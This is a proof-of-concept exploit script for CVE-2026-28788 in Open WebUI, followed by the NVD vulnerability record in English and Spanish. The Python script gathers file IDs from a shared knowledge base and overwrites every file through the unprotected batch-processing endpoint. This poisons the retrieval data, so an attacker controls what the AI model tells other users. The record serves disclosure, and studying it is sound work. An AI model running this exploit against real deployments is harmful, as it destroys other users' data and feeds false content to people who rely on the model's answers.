CVE-2026-28788

import requests # Configuration TARGET_URL = "http://target-open-webui-url" API_KEY = "attacker_api_key" KNOWLEDGE_BASE_ID = "target_knowledge_id" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Step 1: Enumerate files in the shared knowledge base list_files_url = f"{TARGET_URL}/api/v1/knowledge/{KNOWLEDGE_BASE_ID}/files" response = requests.get(list_files_url, headers=headers) file_ids = [item['id'] for item in response.json()] # Step 2: Exploit arbitrary file overwrite overwrite_url = f"{TARGET_URL}/api/v1/retrieval/process/files/batch" malicious_content = "Malicious data injected by attacker" payload = { "files": [ {"id": fid, "content": malicious_content} for fid in file_ids ] } # Send the overwrite request exploit_response = requests.post(overwrite_url, json=payload, headers=headers) if exploit_response.status_code == 200: print("Successfully overwritten files. RAG data poisoned.") else: print("Exploit failed.")

{"cve": {"id": "CVE-2026-28788", "sourceIdentifier": "[email protected]", "published": "2026-03-27T00:16:22.673", "lastModified": "2026-04-01T16:12:25.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, any authenticated user can overwrite any file's content by ID through the `POST /api/v1/retrieval/process/files/batch` endpoint. The endpoint performs no ownership check, so a regular user with read access to a shared knowledge base can obtain file UUIDs via `GET /api/v1/knowledge/{id}/files` and then overwrite those files, escalating from read to write. The overwritten content is served to the LLM via RAG, meaning the attacker controls what the model tells other users. Version 0.8.6 patches the issue."}, {"lang": "es", "value": "Open WebUI es una plataforma de inteligencia artificial autoalojada diseñada para operar completamente sin conexión. Antes de la versión 0.8.6, cualquier usuario autenticado puede sobrescribir el contenido de cualquier archivo por ID a través del endpoint 'POST /api/v1/retrieval/process/files/batch'. El endpoint no realiza ninguna verificación de propiedad, por lo que un usuario regular con acceso de lectura a una base de conocimiento compartida puede obtener los UUID de los archivos a través de 'GET /api/v1/knowledge/{id}/files' y luego sobrescribir esos archivos, escalando de lectura a escritura. El contenido sobrescrito se sirve al LLM a través de RAG, lo que significa que el atacante controla lo que el modelo dice a otros usuarios. La versión 0.8.6 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.8.6", "matchCriteriaId": "98042D01-E16B-45CE-9BBC-E5A6E2AA2370"}]}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jjp7-g2jw-wh3j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}